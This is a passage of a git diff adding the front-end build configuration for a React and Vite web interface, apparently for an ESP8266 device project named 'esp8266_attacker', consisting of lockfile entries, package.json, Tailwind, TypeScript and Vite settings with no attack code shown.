+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/chalk?sponsor=1"
+ }
+ },
+ "node_modules/vite-plugin-compression/node_modules/color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "dependencies": {
+ "color-name": "~1.1.4"
+ },
+ "engines": {
+ "node": ">=7.0.0"
+ }
+ },
+ "node_modules/vite-plugin-compression/node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "node_modules/vite-plugin-compression/node_modules/has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/vite-plugin-compression/node_modules/supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/vite-tsconfig-paths": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/vite-tsconfig-paths/-/vite-tsconfig-paths-4.2.0.tgz",
+ "integrity": "sha512-jGpus0eUy5qbbMVGiTxCL1iB9ZGN6Bd37VGLJU39kTDD6ZfULTTb1bcc5IeTWqWJKiWV5YihCaibeASPiGi8kw==",
+ "dependencies": {
+ "debug": "^4.1.1",
+ "globrex": "^0.1.2",
+ "tsconfck": "^2.1.0"
+ },
+ "peerDependencies": {
+ "vite": "*"
+ },
+ "peerDependenciesMeta": {
+ "vite": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+ },
+ "node_modules/yallist": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+ "dev": true
+ },
+ "node_modules/yaml": {
+ "version": "1.10.2",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
+ "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
+ "engines": {
+ "node": ">= 6"
+ }
+ }
+ }
+}
web/package.json
@@ -0,0 +1,44 @@
+{
+ "name": "esp8266_attacker",
+ "private": true,
+ "version": "2.0.0",
+ "type": "module",
+ "scripts": {
+ "dev": "vite --port 3000",
+ "build": "tsc && vite build",
+ "preview": "vite preview",
+ "build:hard": "npm run build && rm -rf ./build/temp && mv ./build/index.html ./build/html/"
+ },
+ "dependencies": {
+ "@radix-ui/react-checkbox": "^1.0.4",
+ "@radix-ui/react-dialog": "^1.0.4",
+ "@radix-ui/react-label": "^2.0.2",
+ "@radix-ui/react-select": "^1.2.2",
+ "@radix-ui/react-slot": "^1.0.2",
+ "@radix-ui/react-switch": "^1.0.3",
+ "@tanstack/react-table": "^8.9.3",
+ "class-variance-authority": "^0.6.0",
+ "clsx": "^1.2.1",
+ "crypto-js": "^4.1.1",
+ "lucide-react": "^0.252.0",
+ "react": "^18.2.0",
+ "react-dom": "^18.2.0",
+ "react-hot-toast": "^2.4.0",
+ "react-router-dom": "^6.14.0",
+ "tailwind-merge": "^1.13.2",
+ "tailwindcss-animate": "^1.0.6",
+ "vite-tsconfig-paths": "^4.2.0"
+ },
+ "devDependencies": {
+ "@types/crypto-js": "^4.1.1",
+ "@types/react": "^18.0.28",
+ "@types/react-dom": "^18.0.11",
+ "@vitejs/plugin-react": "^3.1.0",
+ "autoprefixer": "^10.4.14",
+ "postcss": "^8.4.21",
+ "tailwindcss": "^3.3.1",
+ "typescript": "^4.9.3",
+ "vite": "^4.2.0",
+ "vite-plugin-compression": "^0.5.1"
+ }
+}
web/postcss.config.js
@@ -0,0 +1,6 @@
+export default {
+ plugins: {
+ tailwindcss: {},
+ autoprefixer: {},
+ },
+}
web/tailwind.config.js
@@ -0,0 +1,75 @@
+/** @type {import('tailwindcss').Config} */
+module.exports = {
+ darkMode: ["class"],
+ content: [
+ './pages/**/*.{ts,tsx}',
+ './components/**/*.{ts,tsx}',
+ './src/**/*.{ts,tsx}',
+ ],
+ theme: {
+ container: {
+ center: true,
+ padding: "2rem",
+ screens: {
+ "2xl": "1400px",
+ },
+ },
+ extend: {
+ colors: {
+ border: "hsl(var(--border))",
+ input: "hsl(var(--input))",
+ ring: "hsl(var(--ring))",
+ background: "hsl(var(--background))",
+ foreground: "hsl(var(--foreground))",
+ primary: {
+ DEFAULT: "hsl(var(--primary))",
+ foreground: "hsl(var(--primary-foreground))",
+ },
+ secondary: {
+ DEFAULT: "hsl(var(--secondary))",
+ foreground: "hsl(var(--secondary-foreground))",
+ },
+ destructive: {
+ DEFAULT: "hsl(var(--destructive))",
+ foreground: "hsl(var(--destructive-foreground))",
+ },
+ muted: {
+ DEFAULT: "hsl(var(--muted))",
+ foreground: "hsl(var(--muted-foreground))",
+ },
+ accent: {
+ DEFAULT: "hsl(var(--accent))",
+ foreground: "hsl(var(--accent-foreground))",
+ },
+ popover: {
+ DEFAULT: "hsl(var(--popover))",
+ foreground: "hsl(var(--popover-foreground))",
+ },
+ card: {
+ DEFAULT: "hsl(var(--card))",
+ foreground: "hsl(var(--card-foreground))",
+ },
+ },
+ borderRadius: {
+ lg: "var(--radius)",
+ md: "calc(var(--radius) - 2px)",
+ sm: "calc(var(--radius) - 4px)",
+ },
+ keyframes: {
+ "accordion-down": {
+ from: { height: 0 },
+ to: { height: "var(--radix-accordion-content-height)" },
+ },
+ "accordion-up": {
+ from: { height: "var(--radix-accordion-content-height)" },
+ to: { height: 0 },
+ },
+ },
+ animation: {
+ "accordion-down": "accordion-down 0.2s ease-out",
+ "accordion-up": "accordion-up 0.2s ease-out",
+ },
+ },
+ },
+ plugins: [require("tailwindcss-animate")],
+}
\ No newline at end of file
web/tsconfig.json
@@ -0,0 +1,25 @@
+{
+ "compilerOptions": {
+ "target": "ESNext",
+ "useDefineForClassFields": true,
+ "lib": ["DOM", "DOM.Iterable", "ESNext"],
+ "allowJs": false,
+ "skipLibCheck": true,
+ "esModuleInterop": false,
+ "allowSyntheticDefaultImports": true,
+ "strict": true,
+ "forceConsistentCasingInFileNames": true,
+ "module": "ESNext",
+ "moduleResolution": "Node",
+ "resolveJsonModule": true,
+ "isolatedModules": true,
+ "noEmit": true,
+ "jsx": "react-jsx",
+ "baseUrl": ".",
+ "paths": {
+ "@/*": ["./src/*"]
+ }
+ },
+ "include": ["src"],
+ "references": [{ "path": "./tsconfig.node.json" }]
+}
web/tsconfig.node.json
@@ -0,0 +1,13 @@
+{
+ "compilerOptions": {
+ "composite": true,
+ "module": "ESNext",
+ "moduleResolution": "Node",
+ "allowSyntheticDefaultImports": true,
+ "baseUrl": ".",
+ "paths": {
+ "@/*": ["src/*"]
+ },
+ },
+ "include": ["vite.config.ts"]
+}
web/vite.config.ts
@@ -0,0 +1,30 @@
+import { defineConfig } from "vite"
+import tsconfigPaths from "vite-tsconfig-paths"
+import react from "@vitejs/plugin-react"
+import viteCompression from "vite-plugin-compression"
+
+// https://vitejs.dev/config/
+export default defineConfig({
+ plugins: [
+ react(),
+ tsconfigPaths(),
+ viteCompression({
+ filter: /\.(html|js|css)$/,
+ deleteOriginFile: true,
+ }),
+ ],
+ server: {
+ host: true,
+ },
+ build: {
+ chunkSizeWarningLimit: 1000,
+ outDir: "build",
+ rollupOptions: {
+ output: {
+ assetFileNames: "css/[name].[ext]",
+ chunkFileNames: "js/[name].js",
+ entryFileNames: "js/[name].js",
+ },
+ },
+ },
+})